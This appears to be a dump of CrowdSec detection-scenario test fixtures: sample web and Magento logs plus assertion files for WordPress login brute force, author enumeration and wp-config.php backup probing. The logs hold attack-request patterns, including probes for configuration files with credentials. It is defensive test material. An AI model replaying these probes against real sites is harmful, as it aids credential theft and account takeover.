[15/Sep/2021:16:13:46 +0000] "POST /wp-login.php HTTP/1.1" 200 5364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" Sep 15 16:13:46 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 81.150.104.130 - - [15/Sep/2021:16:13:46 +0000] "POST /wp-login.php HTTP/1.1" 200 5364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" Sep 15 16:13:46 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 81.150.104.130 - - [15/Sep/2021:16:13:46 +0000] "POST /wp-login.php HTTP/1.1" 200 5364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" Sep 15 16:13:46 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 81.150.104.130 - - [15/Sep/2021:16:13:46 +0000] "POST /wp-login.php HTTP/1.1" 200 5364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" Sep 15 16:13:46 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 81.150.104.130 - - [15/Sep/2021:16:13:46 +0000] "POST /wp-login.php HTTP/1.1" 200 5364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" Sep 15 16:13:46 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 81.150.104.130 - - [15/Sep/2021:16:13:46 +0000] "POST /wp-login.php HTTP/1.1" 200 5364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" hub1/.tests/http-bf-wordpress-bf/scenario.assert000066400000000000000000000122251437532772500221630ustar00rootroot00000000000000"81.150.104.130" in results[0].Overflow.GetSources() results[0].Overflow.Sources["81.150.104.130"].IP == "81.150.104.130" results[0].Overflow.Sources["81.150.104.130"].Range == "" results[0].Overflow.Sources["81.150.104.130"].GetScope() == "Ip" results[0].Overflow.Sources["81.150.104.130"].GetValue() == "81.150.104.130" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/wp-login.php" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "81.150.104.130" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "http-bf-wordpress-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[1].GetMeta("http_path") == "/wp-login.php" results[0].Overflow.Alert.Events[1].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[1].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" results[0].Overflow.Alert.Events[1].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "81.150.104.130" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "http-bf-wordpress-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[2].GetMeta("http_path") == "/wp-login.php" results[0].Overflow.Alert.Events[2].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[2].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" results[0].Overflow.Alert.Events[2].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[2].GetMeta("service") == "http" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "81.150.104.130" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "http-bf-wordpress-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[3].GetMeta("http_path") == "/wp-login.php" results[0].Overflow.Alert.Events[3].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[3].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" results[0].Overflow.Alert.Events[3].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[3].GetMeta("service") == "http" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "81.150.104.130" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "http-bf-wordpress-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[4].GetMeta("http_path") == "/wp-login.php" results[0].Overflow.Alert.Events[4].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[4].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" results[0].Overflow.Alert.Events[4].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[4].GetMeta("service") == "http" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "81.150.104.130" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "http-bf-wordpress-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[5].GetMeta("http_path") == "/wp-login.php" results[0].Overflow.Alert.Events[5].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[5].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" results[0].Overflow.Alert.Events[5].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[5].GetMeta("service") == "http" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "81.150.104.130" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-bf-wordpress_bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/http-magento-bf/000077500000000000000000000000001437532772500161505ustar00rootroot00000000000000hub1/.tests/http-magento-bf/config.yaml000066400000000000000000000004601437532772500203010ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/magento-extension-logs.yaml scenarios: - ./scenarios/crowdsecurity/http-magento-bf.yaml postoverflows: - "" log_file: http-magento-bf.log log_type: magento-extension labels: {} ignore_parsers: true hub1/.tests/http-magento-bf/http-magento-bf.log000066400000000000000000000017661437532772500216610ustar00rootroot00000000000000[2022-02-11 13:41:28] crowdsec-events.INFO: {"type":"ADMIN_LOGIN_FAILED","ip":"1.2.3.4","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0"} [] [2022-02-11 13:41:28] crowdsec-events.INFO: {"type":"ADMIN_LOGIN_FAILED","ip":"1.2.3.4","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0"} [] [2022-02-11 13:41:29] crowdsec-events.INFO: {"type":"ADMIN_LOGIN_FAILED","ip":"1.2.3.4","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0"} [] [2022-02-11 13:41:29] crowdsec-events.INFO: {"type":"ADMIN_LOGIN_FAILED","ip":"1.2.3.4","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0"} [] [2022-02-11 13:41:30] crowdsec-events.INFO: {"type":"ADMIN_LOGIN_FAILED","ip":"1.2.3.4","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0"} [] [2022-02-11 13:41:31] crowdsec-events.INFO: {"type":"ADMIN_LOGIN_FAILED","ip":"1.2.3.4","x-forwarded-for-ip":"","bouncer_agent":"Magento 2 CrowdSec Bouncer/v1.0.0"} [] hub1/.tests/http-magento-bf/parser.assert000066400000000000000000000000001437532772500206550ustar00rootroot00000000000000hub1/.tests/http-magento-bf/scenario.assert000066400000000000000000000073671437532772500212130ustar00rootroot00000000000000len(results) == 1 "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "http-magento-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "ADMIN_LOGIN_FAILED" results[0].Overflow.Alert.Events[0].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-11T13:41:28Z" results[0].Overflow.Alert.Events[1].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "http-magento-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "ADMIN_LOGIN_FAILED" results[0].Overflow.Alert.Events[1].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-11T13:41:28Z" results[0].Overflow.Alert.Events[2].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "http-magento-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "ADMIN_LOGIN_FAILED" results[0].Overflow.Alert.Events[2].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-11T13:41:29Z" results[0].Overflow.Alert.Events[3].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "http-magento-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "ADMIN_LOGIN_FAILED" results[0].Overflow.Alert.Events[3].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-11T13:41:29Z" results[0].Overflow.Alert.Events[4].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "http-magento-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "ADMIN_LOGIN_FAILED" results[0].Overflow.Alert.Events[4].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-11T13:41:30Z" results[0].Overflow.Alert.Events[5].GetMeta("bouncer_agent") == "Magento 2 CrowdSec Bouncer/v1.0.0" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "http-magento-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "ADMIN_LOGIN_FAILED" results[0].Overflow.Alert.Events[5].GetMeta("service") == "magento" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-02-11T13:41:31Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-magento-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6hub1/.tests/http-wordpress_user-enum/000077500000000000000000000000001437532772500201615ustar00rootroot00000000000000hub1/.tests/http-wordpress_user-enum/config.yaml000066400000000000000000000004531437532772500223140ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/http-logs - crowdsecurity/nginx-logs scenarios: - ./scenarios/crowdsecurity/http-wordpress_user-enum.yaml postoverflows: - "" log_file: http-wordpress_user-enum.log log_type: nginx labels: {} ignore_parsers: true hub1/.tests/http-wordpress_user-enum/http-wordpress_user-enum.log000066400000000000000000000045741437532772500257030ustar00rootroot000000000000001.2.3.4 - - [02/Dec/2021:19:47:51 +0000] "GET /?author=2 HTTP/1.1" 200 35436 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" 1.2.3.4 - - [02/Dec/2021:19:47:51 +0000] "GET /?author=23 HTTP/1.1" 404 13882 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" 1.2.3.4 - - [02/Dec/2021:19:47:51 +0000] "GET /?author=24 HTTP/1.1" 404 13882 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" 1.2.3.4 - - [02/Dec/2021:19:47:51 +0000] "GET /?author=14 HTTP/1.1" 404 13882 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" 1.2.3.4 - - [02/Dec/2021:19:47:51 +0000] "GET /?author=3 HTTP/1.1" 200 30846 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" 1.2.3.4 - - [02/Dec/2021:19:47:51 +0000] "GET /?author=12 HTTP/1.1" 404 13882 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" 1.2.3.5 - - [02/Dec/2021:19:47:51 +0000] "GET /?author=1 HTTP/1.1" 200 35436 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" 1.2.3.5 - - [02/Dec/2021:19:47:51 +0000] "GET /?author=1 HTTP/1.1" 404 13882 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" 1.2.3.5 - - [02/Dec/2021:19:47:51 +0000] "GET /?author=1 HTTP/1.1" 404 13882 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" 1.2.3.5 - - [02/Dec/2021:19:47:51 +0000] "GET /?author=1 HTTP/1.1" 404 13882 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" 1.2.3.5 - - [02/Dec/2021:19:47:51 +0000] "GET /?author=1 HTTP/1.1" 200 30846 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" 1.2.3.5 - - [02/Dec/2021:19:47:51 +0000] "GET /?author=1 HTTP/1.1" 404 13882 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" hub1/.tests/http-wordpress_user-enum/scenario.assert000066400000000000000000000120111437532772500232020ustar00rootroot00000000000000len(results) == 1 "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "http-wordpress_user-enum.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/?author=2" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "http-wordpress_user-enum.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("http_path") == "/?author=23" results[0].Overflow.Alert.Events[1].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[1].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" results[0].Overflow.Alert.Events[1].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "http-wordpress_user-enum.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("http_path") == "/?author=24" results[0].Overflow.Alert.Events[2].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[2].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" results[0].Overflow.Alert.Events[2].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[2].GetMeta("service") == "http" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "http-wordpress_user-enum.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("http_path") == "/?author=14" results[0].Overflow.Alert.Events[3].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[3].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" results[0].Overflow.Alert.Events[3].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[3].GetMeta("service") == "http" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "http-wordpress_user-enum.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("http_path") == "/?author=3" results[0].Overflow.Alert.Events[4].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[4].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" results[0].Overflow.Alert.Events[4].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[4].GetMeta("service") == "http" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "http-wordpress_user-enum.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("http_path") == "/?author=12" results[0].Overflow.Alert.Events[5].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[5].GetMeta("http_user_agent") == "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" results[0].Overflow.Alert.Events[5].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[5].GetMeta("service") == "http" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-wordpress_user-enum" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/http-wordpress_wpconfig/000077500000000000000000000000001437532772500200555ustar00rootroot00000000000000hub1/.tests/http-wordpress_wpconfig/config.yaml000066400000000000000000000004151437532772500222060ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/nginx-logs - crowdsecurity/dateparse-enrich - crowdsecurity/http-logs scenarios: - crowdsecurity/http-wordpress_wpconfig postoverflows: - "" log_file: http-wordpress_wpconfig.log log_type: nginx ignore_parsers: true hub1/.tests/http-wordpress_wpconfig/http-wordpress_wpconfig.log000066400000000000000000000051101437532772500254560ustar00rootroot00000000000000Jul 8 11:07:07 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 167.71.13.196 - - [08/Jul/2021:11:07:07 +0000] "GET /wp-config.php HTTP/1.1" 200 5 "-" "Go-http-client/1.1" Jul 8 11:07:08 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 167.71.13.196 - - [08/Jul/2021:11:07:08 +0000] "GET /.wp-config.php.swp HTTP/1.1" 404 21274 "-" "Go-http-client/1.1" Jul 8 11:07:10 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 167.71.13.196 - - [08/Jul/2021:11:07:10 +0000] "GET /wp-config.php.txt HTTP/1.1" 404 21274 "-" "Go-http-client/1.1" Jul 8 11:07:10 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 167.71.13.196 - - [08/Jul/2021:11:07:10 +0000] "GET /wp-config.php.bak HTTP/1.1" 404 21274 "-" "Go-http-client/1.1" Jul 8 11:07:10 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 167.71.13.196 - - [08/Jul/2021:11:07:10 +0000] "GET /wp-config.php.old HTTP/1.1" 404 21274 "-" "Go-http-client/1.1" Jul 8 11:07:11 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 167.71.13.196 - - [08/Jul/2021:11:07:11 +0000] "GET /wp-config.php.dist HTTP/1.1" 404 21274 "-" "Go-http-client/1.1" Jul 8 11:07:11 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 167.71.13.196 - - [08/Jul/2021:11:07:11 +0000] "GET /wp-config.php.inc HTTP/1.1" 404 21274 "-" "Go-http-client/1.1" Jul 8 11:07:12 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 167.71.13.196 - - [08/Jul/2021:11:07:12 +0000] "GET /wp-config.php.swp HTTP/1.1" 404 21274 "-" "Go-http-client/1.1" Jul 8 11:07:12 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 167.71.13.196 - - [08/Jul/2021:11:07:12 +0000] "GET /wp-config.php.html HTTP/1.1" 404 21274 "-" "Go-http-client/1.1" Jul 8 11:07:13 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 167.71.13.196 - - [08/Jul/2021:11:07:13 +0000] "GET /wp-config.php.save HTTP/1.1" 404 21274 "-" "Go-http-client/1.1" Jul 8 11:07:14 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 167.71.13.196 - - [08/Jul/2021:11:07:14 +0000] "GET /wp-config.php~ HTTP/1.1" 404 21274 "-" "Go-http-client/1.1" Jul 8 11:07:14 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 167.71.13.196 - - [08/Jul/2021:11:07:14 +0000] "GET /wp-config.php.orig HTTP/1.1" 404 21274 "-" "Go-http-client/1.1" Jul 8 11:07:14 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 167.71.13.196 - - [08/Jul/2021:11:07:14 +0000] "GET /wp-config.php.original HTTP/1.1" 404 21274 "-" "Go-http-client/1.1" Jul 8 11:07:35 ip-172-31-43-28.us-east-2.compute.internal nginx[2869]: 167.71.13.196 - - [08/Jul/2021:11:07:35 +0000] "GET /wp-config.php.bak HTTP/1.1" 404 21274 "-" "Go-http-client/1.1" hub1/.tests/http-wordpress_wpconfig/scenario.assert000066400000000000000000000116501437532772500231060ustar00rootroot00000000000000"167.71.13.196" in results[0].Overflow.GetSources() results[0].Overflow.Sources["167.71.13.196"].IP == "167.71.13.196" results[0].Overflow.Sources["167.71.13.196"].Range == "" results[0].Overflow.Sources["167.71.13.196"].GetScope() == "Ip" results[0].Overflow.Sources["167.71.13.196"].GetValue() == "167.71.13.196" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "http-wordpress_wpconfig.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/wp-config.php" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Go-http-client/1.1" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "167.71.13.196" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "http-wordpress_wpconfig.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[1].GetMeta("http_path") == "/.wp-config.php.swp" results[0].Overflow.Alert.Events[1].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[1].GetMeta("http_user_agent") == "Go-http-client/1.1" results[0].Overflow.Alert.Events[1].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "167.71.13.196" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "http-wordpress_wpconfig.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[2].GetMeta("http_path") == "/wp-config.php.txt" results[0].Overflow.Alert.Events[2].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[2].GetMeta("http_user_agent") == "Go-http-client/1.1" results[0].Overflow.Alert.Events[2].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[2].GetMeta("service") == "http" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "167.71.13.196" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "http-wordpress_wpconfig.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[3].GetMeta("http_path") == "/wp-config.php.bak" results[0].Overflow.Alert.Events[3].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[3].GetMeta("http_user_agent") == "Go-http-client/1.1" results[0].Overflow.Alert.Events[3].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[3].GetMeta("service") == "http" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "167.71.13.196" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "http-wordpress_wpconfig.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" 